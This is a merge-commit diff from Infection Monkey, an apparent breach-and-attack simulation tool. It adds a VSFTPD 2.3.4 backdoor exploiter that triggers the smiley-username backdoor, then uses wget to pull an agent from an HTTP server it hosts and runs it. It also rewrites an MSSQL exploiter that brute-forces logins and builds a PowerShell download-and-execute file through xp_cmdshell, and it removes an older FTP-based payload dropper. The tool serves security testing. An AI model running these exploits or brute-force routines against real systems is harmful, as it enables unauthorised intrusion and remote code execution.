Merge remote-tracking branch 'upstream/develop' into attack_configuration

# Conflicts:
#	monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js

monkey/infection_monkey/config.py

@@ -104,8 +104,8 @@ class Configuration(object):
     dropper_set_date = True
     dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
     dropper_date_reference_path_linux = '/bin/sh'
-    dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
+    dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
-    dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
+    dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
     dropper_target_path_linux = '/tmp/monkey'
 
     ###########################

monkey/infection_monkey/example.conf

@@ -25,8 +25,8 @@
     "dropper_log_path_windows": "%temp%\\~df1562.tmp",
     "dropper_log_path_linux": "/tmp/user-1562",
     "dropper_set_date": true,
-    "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
+    "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
-    "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
+    "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
     "dropper_target_path_linux": "/tmp/monkey",
 
     monkey_dir_linux = '/tmp/monkey_dir',
@@ -45,7 +45,8 @@
         "SambaCryExploiter",
         "Struts2Exploiter",
         "WebLogicExploiter",
-        "HadoopExploiter"
+        "HadoopExploiter",
+        "VSFTPDExploiter"
     ],
     "finger_classes": [
         "SSHFinger",

monkey/infection_monkey/exploit/__init__.py

@@ -50,3 +50,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter
 from infection_monkey.exploit.weblogic import WebLogicExploiter
 from infection_monkey.exploit.hadoop import HadoopExploiter
 from infection_monkey.exploit.mssqlexec import MSSQLExploiter
+from infection_monkey.exploit.vsftpd import VSFTPDExploiter

monkey/infection_monkey/exploit/mssqlexec.py

@@ -1,12 +1,15 @@
 import os
 import logging
-
+from time import sleep
 import pymssql
+import textwrap
 
-from infection_monkey.exploit import HostExploiter, mssqlexec_utils
+from infection_monkey.exploit import HostExploiter, tools
 from common.utils.exploit_enum import ExploitType
-
+from infection_monkey.exploit.tools import HTTPTools
-__author__ = 'Maor Rayzin'
+from infection_monkey.config import WormConfiguration
+from infection_monkey.model import DROPPER_ARG
+from infection_monkey.exploit.tools import get_monkey_dest_path
 
 LOG = logging.getLogger(__name__)
 
@@ -16,78 +19,89 @@ class MSSQLExploiter(HostExploiter):
     _TARGET_OS_TYPE = ['windows']
     EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
     LOGIN_TIMEOUT = 15
+    # Time in seconds to wait between MSSQL queries.
+    QUERY_BUFFER = 0.5
     SQL_DEFAULT_TCP_PORT = '1433'
-    DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
+    # Temporary file that saves commands for monkey's download and execution.
-    DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
+    TMP_FILE_NAME = 'tmp_monkey.bat'
 
     def __init__(self, host):
         super(MSSQLExploiter, self).__init__(host)
-        self.attacks_list = [mssqlexec_utils.CmdShellAttack]
-
-    def create_payload_file(self, payload_path):
-        """
-        This function creates dynamically the payload file to be transported and ran on the exploited machine.
-        :param payload_path: A path to the create the payload file in
-        :return: True if the payload file was created and false otherwise.
-        """
-        try:
-            with open(payload_path, 'w+') as payload_file:
-                payload_file.write('dir C:\\')
-            return True
-        except Exception as e:
-            LOG.error("Payload file couldn't be created", exc_info=True)
-            return False
 
     def exploit_host(self):
-        """
+        # Brute force to get connection
-            Main function of the mssql brute force
-                Return:
-                    True or False depends on process success
-            """
         username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
+        cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
 
-        payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \
+        if not cursor:
-            else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
-
-        if not self.create_payload_file(payload_path):
-            return False
-        if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
-                                  payload_path):
-            LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
-            return True
-        else:
             LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
             return False
 
-    def handle_payload(self, cursor, payload):
+        # Get monkey exe for host and it's path
+        src_path = tools.get_target_monkey(self.host)
+        if not src_path:
+            LOG.info("Can't find suitable monkey executable for host %r", self.host)
+            return False
+
+        # Create server for http download and wait for it's startup.
+        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
+        if not http_path:
+            LOG.debug("Exploiter failed, http transfer creation failed.")
+            return False
+        LOG.info("Started http server on %s", http_path)
+
+        dst_path = get_monkey_dest_path(http_path)
+        tmp_file_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.TMP_FILE_NAME)
+
+        # Create monkey dir.
+        commands = ["xp_cmdshell \"mkdir %s\"" % WormConfiguration.monkey_dir_windows]
+        MSSQLExploiter.execute_command(cursor, commands)
+
+        # Form download command in a file
+        commands = [
+            "xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
+            "xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
+            "xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
+        MSSQLExploiter.execute_command(cursor, commands)
+        MSSQLExploiter.run_file(cursor, tmp_file_path)
+
+        # Form monkey's command in a file
+        monkey_args = tools.build_monkey_commandline(self.host,
+                                                     tools.get_monkey_depth() - 1,
+                                                     dst_path)
+        monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
+                       for part in textwrap.wrap(monkey_args, 40)]
+        commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
+        commands.extend(monkey_args)
+        MSSQLExploiter.execute_command(cursor, commands)
+        MSSQLExploiter.run_file(cursor, tmp_file_path)
+
+        return True
+
+    @staticmethod
+    def run_file(cursor, file_path):
+        command = ["exec xp_cmdshell \"%s\"" % file_path]
+        return MSSQLExploiter.execute_command(cursor, command)
+
+    @staticmethod
+    def execute_command(cursor, cmds):
         """
-            Handles the process of payload sending and execution, prepares the attack and details.
+        Executes commands on MSSQL server
-
+        :param cursor: MSSQL connection
-            Args:
+        :param cmds: list of commands in MSSQL syntax.
-                cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
+        :return: True if successfully executed, false otherwise.
-                payload (string): Payload path
-
-            Return:
-                True or False depends on process success
         """
+        try:
+            # Running the cmd on remote host
+            for cmd in cmds:
+                cursor.execute(cmd)
+                sleep(MSSQLExploiter.QUERY_BUFFER)
+        except Exception as e:
+            LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
+            return False
+        return True
 
-        chosen_attack = self.attacks_list[0](payload, cursor, self.host)
+    def brute_force(self, host, port, users_passwords_pairs_list):
-
-        if chosen_attack.send_payload():
-            LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
-            if chosen_attack.execute_payload():
-                LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
-                chosen_attack.cleanup_files()
-                return True
-            else:
-                LOG.error("Payload: {0} couldn't be executed".format(payload))
-        else:
-            LOG.error("Payload: {0} couldn't be sent to host".format(payload))
-
-        chosen_attack.cleanup_files()
-        return False
-
-    def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
         """
             Starts the brute force connection attempts and if needed then init the payload process.
             Main loop starts here.
@@ -95,7 +109,6 @@ class MSSQLExploiter(HostExploiter):
             Args:
                 host (str): Host ip address
                 port (str): Tcp port that the host listens to
-                payload (str): Local path to the payload
                 users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
 
             Return:
@@ -112,19 +125,11 @@ class MSSQLExploiter(HostExploiter):
                          'using user: {1}, password: {2}'.format(host, user, password))
                 self.report_login_attempt(True, user, password)
                 cursor = conn.cursor()
-
+                return cursor
-                # Handles the payload and return True or False
-                if self.handle_payload(cursor, payload):
-                    LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
-                    return True
-                else:
-                    LOG.warning("user: {0} and password: {1}, "
-                                "was able to connect to host: {2} but couldn't handle payload: {3}"
-                                .format(user, password, host, payload))
             except pymssql.OperationalError:
                 # Combo didn't work, hopping to the next one
                 pass
 
         LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
                     'aborting brute force'.format(host, port))
-        return False
+        return None

monkey/infection_monkey/exploit/mssqlexec_utils.py

@@ -1,208 +0,0 @@
-import os
-import multiprocessing
-import logging
-
-import pymssql
-
-from infection_monkey.exploit.tools import get_interface_to_target
-from pyftpdlib.authorizers import DummyAuthorizer
-from pyftpdlib.handlers import FTPHandler
-from pyftpdlib.servers import FTPServer
-from time import sleep
-
-
-__author__ = 'Maor Rayzin'
-
-
-FTP_SERVER_PORT = 1026
-FTP_SERVER_ADDRESS = ''
-FTP_SERVER_USER = 'brute'
-FTP_SERVER_PASSWORD = 'force'
-FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
-FTP_WORK_DIR_LINUX = '/tmp/'
-
-LOG = logging.getLogger(__name__)
-
-
-class FTP(object):
-
-    """Configures and establish an FTP server with default details.
-
-        Args:
-            user (str): User for FTP server auth
-            password (str): Password for FTP server auth
-            working_dir (str): The local working dir to init the ftp server on.
-    """
-
-    def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
-        """Look at class level docstring."""
-        self.dst_ip = host.ip_addr
-        self.user = user
-        self.password = password
-        self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
-
-    def run_server(self):
-
-        """ Configures and runs the ftp server to listen forever until stopped.
-        """
-
-        # Defining an authorizer and configuring the ftp user
-        authorizer = DummyAuthorizer()
-        authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
-
-        # Normal ftp handler
-        handler = FTPHandler
-        handler.authorizer = authorizer
-
-        address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
-
-        # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
-        self.server = FTPServer(address, handler)
-
-        # Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
-        # multiproccess is being used here.
-        self.server.serve_forever()
-
-    def stop_server(self):
-        # Stops the FTP server and closing all connections.
-        self.server.close_all()
-
-
-class AttackHost(object):
-    """
-        This class acts as an interface for the attacking methods class
-
-        Args:
-            payload_path (str): The local path of the payload file
-    """
-
-    def __init__(self, payload_path):
-        self.payload_path = payload_path
-
-    def send_payload(self):
-        raise NotImplementedError("Send function not implemented")
-
-    def execute_payload(self):
-        raise NotImplementedError("execute function not implemented")
-
-
-class CmdShellAttack(AttackHost):
-
-    """
-    This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
-
-        Args:
-            payload_path (str): The local path of the payload file
-            cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
-            host (model.host.VictimHost): Host this attack is going to target
-
-    """
-
-    def __init__(self, payload_path, cursor, host):
-        super(CmdShellAttack, self).__init__(payload_path)
-        self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
-        self.cursor = cursor
-        self.attacker_ip = get_interface_to_target(host.ip_addr)
-
-    def send_payload(self):
-        """
-            Sets up an FTP server and using it to download the payload to the remote host
-
-            Return:
-                True if payload sent False if not.
-        """
-
-        # Sets up the cmds to run
-        shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
-        echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
-        shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
-        shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
-            .format(self.payload_path)
-        shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
-        shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
-
-        # Checking to see if ftp server is up
-        if self.ftp_server_p and self.ftp_server:
-            try:
-                # Running the cmd on remote host
-                for cmd in shellcmds:
-                    self.cursor.execute(cmd)
-                    sleep(0.5)
-            except Exception as e:
-                LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
-                self.ftp_server_p.terminate()
-                return False
-            return True
-        else:
-            LOG.error("Couldn't establish an FTP server for the dropout")
-            return False
-
-    def execute_payload(self):
-
-        """
-            Executes the payload after ftp drop
-
-            Return:
-                True if payload was executed successfully, False if not.
-        """
-
-        # Getting the payload's file name
-        payload_file_name = os.path.split(self.payload_path)[1]
-
-        # Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
-        shellcmd = """DECLARE @i INT \
-                      EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
-                      SELECT @i """.format(payload_file_name)
-
-        try:
-            # Executing payload on remote host
-            LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
-            self.cursor.execute(shellcmd)
-            if self.cursor.fetchall()[0][0] == 0:
-                # Success
-                self.ftp_server_p.terminate()
-                LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
-                return True
-            else:
-                LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
-                self.ftp_server_p.terminate()
-                return False
-
-        except pymssql.OperationalError as e:
-            LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
-            self.ftp_server_p.terminate()
-            return False
-
-    def cleanup_files(self):
-        """
-            Cleans up the folder with the attack related files (C:\\tmp by default)
-        :return: True or False if command executed or not.
-        """
-        cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
-        try:
-            self.cursor.execute(cleanup_command)
-            LOG.info('Attack files cleanup command has been sent.')
-            return True
-        except Exception as e:
-            LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
-            return False
-
-    def __init_ftp_server(self, host):
-        """
-            Init an FTP server using FTP class on a different process
-
-            Return:
-                ftp_s: FTP server object
-                p: the process obj of the FTP object
-        """
-
-        try:
-            ftp_s = FTP(host)
-            multiprocessing.log_to_stderr(logging.DEBUG)
-            p = multiprocessing.Process(target=ftp_s.run_server)
-            p.start()
-            LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
-            return ftp_s, p
-        except Exception as e:
-            LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
-            return None, None

monkey/infection_monkey/exploit/vsftpd.py

@@ -0,0 +1,149 @@
+"""
+    Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
+    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
+    only vulnerable version is "2.3.4"
+"""
+
+
+import StringIO
+import logging
+import paramiko
+import socket
+import time
+from common.utils.exploit_enum import ExploitType
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.exploit.tools import build_monkey_commandline
+from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
+from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
+from infection_monkey.network.tools import check_tcp_port
+from infection_monkey.exploit.web_rce import WebRCE
+from logging import getLogger
+
+LOG = getLogger(__name__)
+
+__author__ = 'D3fa1t'
+
+FTP_PORT            = 21                # port at which vsftpd runs
+BACKDOOR_PORT       = 6200              # backdoor port
+RECV_128            = 128               # In Bytes
+UNAME_M             = "uname -m"        
+ULIMIT_V            = "ulimit -v "      # To increase the memory limit
+UNLIMITED           = "unlimited;"
+USERNAME            = b'USER D3fa1t:)'  # Ftp Username should end with :) to trigger the backdoor
+PASSWORD            = b'PASS please'    # Ftp Password
+FTP_TIME_BUFFER     = 1                 # In seconds
+
+class VSFTPDExploiter(HostExploiter):
+    _TARGET_OS_TYPE = ['linux']
+
+    def __init__ (self, host):
+        self._update_timestamp = 0
+        super(VSFTPDExploiter, self).__init__(host)
+        self.skip_exist = self._config.skip_exploit_if_file_exist
+
+    def socket_connect(self, s, ip_addr, port):
+        try:
+            s.connect((ip_addr, port))
+            return True
+        except socket.error as e:
+            LOG.error('Failed to connect to %s', self.host.ip_addr)        
+        return False
+
+    def socket_send_recv(self, s, message):
+        try:
+            s.send(message)
+            return s.recv(RECV_128).decode('utf-8')            
+        except socket.error as e:
+            LOG.error('Failed to send payload to %s', self.host.ip_addr)
+        return False
+
+    def socket_send(self, s, message):
+        try:
+            s.send(message)
+            return True            
+        except socket.error as e:
+            LOG.error('Failed to send payload to %s', self.host.ip_addr)
+        return False
+    
+    def exploit_host(self):
+        LOG.info("Attempting to trigger the Backdoor..")
+        ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        
+        if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
+            ftp_socket.recv(RECV_128).decode('utf-8')
+        
+        if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
+            time.sleep(FTP_TIME_BUFFER)
+            self.socket_send(ftp_socket, PASSWORD + '\n')
+            ftp_socket.close()
+            LOG.info('Backdoor Enabled, Now we can run commands')
+        else:
+            LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
+            return False 
+        
+        LOG.info('Attempting to connect to backdoor...')
+        backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+        if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
+            LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
+        
+        uname_m   = str.encode(UNAME_M + '\n')
+        response  = self.socket_send_recv(backdoor_socket, uname_m)
+
+        if response:
+            LOG.info('Response for uname -m: %s', response)
+            if '' != response.lower().strip():
+                # command execution is successful
+                self.host.os['machine'] = response.lower().strip()
+                self.host.os['type'] = 'linux'
+        else :
+            LOG.info("Failed to execute command uname -m on victim %r ", self.host)
+
+        src_path = get_target_monkey(self.host)
+        LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
+
+        if not src_path:
+            LOG.info("Can't find suitable monkey executable for host %r", self.host)
+            return False
+
+        # Create a http server to host the monkey
+        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
+        dropper_target_path_linux = self._config.dropper_target_path_linux
+        LOG.info("Download link for monkey is %s", http_path)  
+        
+        # Upload the monkey to the machine
+        monkey_path = dropper_target_path_linux
+        download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
+        download_command = str.encode(str(download_command) + '\n')
+        LOG.info("Download command is %s", download_command)
+        if self.socket_send(backdoor_socket, download_command):
+            LOG.info('Monkey is now Downloaded ')
+        else:
+            LOG.error('Failed to download monkey at %s', self.host.ip_addr)
+            return False
+            
+        http_thread.join(DOWNLOAD_TIMEOUT)
+        http_thread.stop()
+
+        # Change permissions
+        change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
+        change_permission = str.encode(str(change_permission) + '\n')
+        LOG.info("change_permission command is %s", change_permission)
+        backdoor_socket.send(change_permission)
+
+        # Run monkey on the machine
+        parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
+        run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
+
+        # Set unlimited to memory
+        run_monkey = ULIMIT_V + UNLIMITED + run_monkey  # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
+        run_monkey = str.encode(str(run_monkey) + '\n')
+        time.sleep(FTP_TIME_BUFFER)
+        if backdoor_socket.send(run_monkey):
+            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey)
+            return True
+        else:
+            return False
+
+
+

monkey/infection_monkey/monkey.py

@@ -19,6 +19,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
 from infection_monkey.post_breach.post_breach_handler import PostBreach
 from common.utils.attack_utils import ScanStatus
 from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
+from infection_monkey.exploit.tools import get_interface_to_target
 
 __author__ = 'itamar'
 
@@ -39,6 +40,7 @@ class InfectionMonkey(object):
         self._exploiters = None
         self._fingerprint = None
         self._default_server = None
+        self._default_server_port = None
         self._depth = 0
         self._opts = None
         self._upgrading_to_64 = False
@@ -59,6 +61,10 @@ class InfectionMonkey(object):
         self._parent = self._opts.parent
         self._default_tunnel = self._opts.tunnel
         self._default_server = self._opts.server
+        try:
+            self._default_server_port = self._default_server.split(':')[1]
+        except KeyError:
+            self._default_server_port = ''
         if self._opts.depth:
             WormConfiguration._depth_from_commandline = True
         self._keep_running = True
@@ -172,8 +178,9 @@ class InfectionMonkey(object):
                 if monkey_tunnel:
                     monkey_tunnel.set_tunnel_for_host(machine)
                 if self._default_server:
+                    machine.set_default_server(get_interface_to_target(machine.ip_addr) +
+                                               (':'+self._default_server_port if self._default_server_port else ''))
                     LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
-                    machine.set_default_server(self._default_server)
 
                 # Order exploits according to their type
                 if WormConfiguration.should_exploit:

monkey/infection_monkey/tunnel.py

@@ -2,7 +2,6 @@ import logging
 import socket
 import struct
 import time
-from difflib import get_close_matches
 from threading import Thread
 
 from infection_monkey.model import VictimHost
@@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall
 from infection_monkey.network.info import local_ips, get_free_tcp_port
 from infection_monkey.network.tools import check_tcp_port
 from infection_monkey.transport.base import get_last_serve_time
+from infection_monkey.exploit.tools import get_interface_to_target
 
 __author__ = 'hoffer'
 
@@ -148,9 +148,9 @@ class MonkeyTunnel(Thread):
             try:
                 search, address = self._broad_sock.recvfrom(BUFFER_READ)
                 if '?' == search:
-                    ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips
+                    ip_match = get_interface_to_target(address[0])
                     if ip_match:
-                        answer = '%s:%d' % (ip_match[0], self.local_port)
+                        answer = '%s:%d' % (ip_match, self.local_port)
                         LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
                         self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
                 elif '+' == search:
@@ -187,8 +187,8 @@ class MonkeyTunnel(Thread):
         if not self.local_port:
             return
 
-        ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips
+        ip_match = get_interface_to_target(host.ip_addr)
-        host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
+        host.default_tunnel = '%s:%d' % (ip_match, self.local_port)
 
     def stop(self):
         self._stopped = True

monkey/infection_monkey/windows_upgrader.py

@@ -37,8 +37,8 @@ class WindowsUpgrader(object):
             with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
                 with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
                     shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
-        except (IOError, AttributeError):
+        except (IOError, AttributeError) as e:
-            LOG.error("Failed to download the Monkey to the target path.")
+            LOG.error("Failed to download the Monkey to the target path: %s." % e)
             return
 
         monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)

monkey/monkey_island/cc/services/config_schema.py

@@ -97,6 +97,13 @@ SCHEMA = {
                         "HadoopExploiter"
                     ],
                     "title": "Hadoop/Yarn Exploiter"
+                },
+                {
+                    "type": "string",
+                    "enum": [
+                        "VSFTPDExploiter"
+                    ],
+                    "title": "VSFTPD Exploiter"
                 }
             ]
         },
@@ -585,14 +592,14 @@ SCHEMA = {
                         "dropper_target_path_win_32": {
                             "title": "Dropper target path on Windows (32bit)",
                             "type": "string",
-                            "default": "C:\\Windows\\monkey32.exe",
+                            "default": "C:\\Windows\\temp\\monkey32.exe",
                             "description": "Determines where should the dropper place the monkey on a Windows machine "
                                            "(32bit)"
                         },
                         "dropper_target_path_win_64": {
                             "title": "Dropper target path on Windows (64bit)",
                             "type": "string",
-                            "default": "C:\\Windows\\monkey64.exe",
+                            "default": "C:\\Windows\\temp\\monkey64.exe",
                             "description": "Determines where should the dropper place the monkey on a Windows machine "
                                            "(64 bit)"
                         },
@@ -749,7 +756,8 @@ SCHEMA = {
                                 "ElasticGroovyExploiter",
                                 "Struts2Exploiter",
                                 "WebLogicExploiter",
-                                "HadoopExploiter"
+                                "HadoopExploiter",
+                                "VSFTPDExploiter"
                             ],
                             "description":
                                 "Determines which exploits to use. " + WARNING_SIGN

monkey/monkey_island/cc/services/report.py

@@ -41,7 +41,8 @@ class ReportService:
             'Struts2Exploiter': 'Struts2 Exploiter',
             'WebLogicExploiter': 'Oracle WebLogic Exploiter',
             'HadoopExploiter': 'Hadoop/Yarn Exploiter',
-            'MSSQLExploiter': 'MSSQL Exploiter'
+            'MSSQLExploiter': 'MSSQL Exploiter',
+            'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
         }
 
     class ISSUES_DICT(Enum):
@@ -57,7 +58,8 @@ class ReportService:
         WEBLOGIC = 9
         HADOOP = 10
         PTH_CRIT_SERVICES_ACCESS = 11,
-        MSSQL = 12
+        MSSQL = 12,
+        VSFTPD = 13
 
     class WARNINGS_DICT(Enum):
         CROSS_SEGMENT = 0
@@ -254,6 +256,7 @@ class ReportService:
                 else:
                     processed_exploit['type'] = 'hash'
                 return processed_exploit
+        return processed_exploit
 
     @staticmethod
     def process_smb_exploit(exploit):
@@ -289,6 +292,12 @@ class ReportService:
         processed_exploit['type'] = 'rdp'
         return processed_exploit
 
+    @staticmethod
+    def process_vsftpd_exploit(exploit):
+        processed_exploit = ReportService.process_general_creds_exploit(exploit)
+        processed_exploit['type'] = 'vsftp'
+        return processed_exploit        
+
     @staticmethod
     def process_sambacry_exploit(exploit):
         processed_exploit = ReportService.process_general_creds_exploit(exploit)
@@ -355,7 +364,8 @@ class ReportService:
             'Struts2Exploiter': ReportService.process_struts2_exploit,
             'WebLogicExploiter': ReportService.process_weblogic_exploit,
             'HadoopExploiter': ReportService.process_hadoop_exploit,
-            'MSSQLExploiter': ReportService.process_mssql_exploit
+            'MSSQLExploiter': ReportService.process_mssql_exploit,
+            'VSFTPDExploiter': ReportService.process_vsftpd_exploit
         }
 
         return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@@ -644,6 +654,8 @@ class ReportService:
                     issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True
                 elif issue['type'] == 'sambacry':
                     issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True
+                elif issue['type'] == 'vsftp':
+                    issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True
                 elif issue['type'] == 'shellshock':
                     issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
                 elif issue['type'] == 'conficker':

monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js

@@ -151,19 +151,7 @@ class ConfigurePageComponent extends AuthComponent {
   configSubmit = () => {
     // Submit monkey configuration
     this.updateConfigSection();
-    this.authFetch(CONFIG_URL,
+    this.sendConfig()
-      {
-        method: 'POST',
-        headers: {'Content-Type': 'application/json'},
-        body: JSON.stringify(this.state.configuration)
-      })
-      .then(res => {
-        if (!res.ok)
-        {
-          throw Error()
-        }
-        return res;
-      })
       .then(res => res.json())
       .then(res => {
         this.setState({
@@ -313,7 +301,7 @@ class ConfigurePageComponent extends AuthComponent {
         configuration: JSON.parse(event.target.result),
         selectedSection: 'basic',
         lastAction: 'import_success'
-      });
+      }, () => {this.sendConfig()});
       this.currentSection = 'basic';
       this.currentFormData = {};
     } catch(SyntaxError) {
@@ -326,6 +314,26 @@ class ConfigurePageComponent extends AuthComponent {
     fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf');
   };
 
+  sendConfig() {
+    return (
+      this.authFetch('/api/configuration/island',
+      {
+        method: 'POST',
+        headers: {'Content-Type': 'application/json'},
+        body: JSON.stringify(this.state.configuration)
+      })
+      .then(res => {
+        if (!res.ok)
+        {
+          throw Error()
+        }
+        return res;
+      }).catch(error => {
+        console.log('bad configuration');
+        this.setState({lastAction: 'invalid_configuration'});
+      }));
+  };
+
   importConfig = (event) => {
     let reader = new FileReader();
     reader.onload = this.onReadFile;
@@ -402,13 +410,12 @@ class ConfigurePageComponent extends AuthComponent {
   }
 
   static getFullPBAfile(filename){
-    let pbaFile = [{
+    return [{
       source: filename,
       options: {
         type: 'limbo'
       }
     }];
-    return pbaFile
   }
 
   static getMockPBAfile(mockFile){
@@ -536,7 +543,7 @@ class ConfigurePageComponent extends AuthComponent {
           { this.state.lastAction === 'invalid_configuration' ?
             <div className="alert alert-danger">
               <i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
-              An invalid configuration file was imported and submitted, probably outdated.
+              An invalid configuration file was imported or submitted.
             </div>
             : ''}
           { this.state.lastAction === 'import_success' ?

monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js

@@ -31,7 +31,8 @@ class ReportPageComponent extends AuthComponent {
       WEBLOGIC: 9,
       HADOOP: 10,
       PTH_CRIT_SERVICES_ACCESS: 11,
-      MSSQL: 12
+      MSSQL: 12,
+      VSFTPD: 13
     };
 
   Warning =
@@ -298,20 +299,24 @@ class ReportPageComponent extends AuthComponent {
               return x === true;
             }).length > 0 ?
               <div>
-                During this simulated attack the Monkey uncovered <span
+                During this simulated attack the Monkey uncovered  <span
                 className="label label-warning">
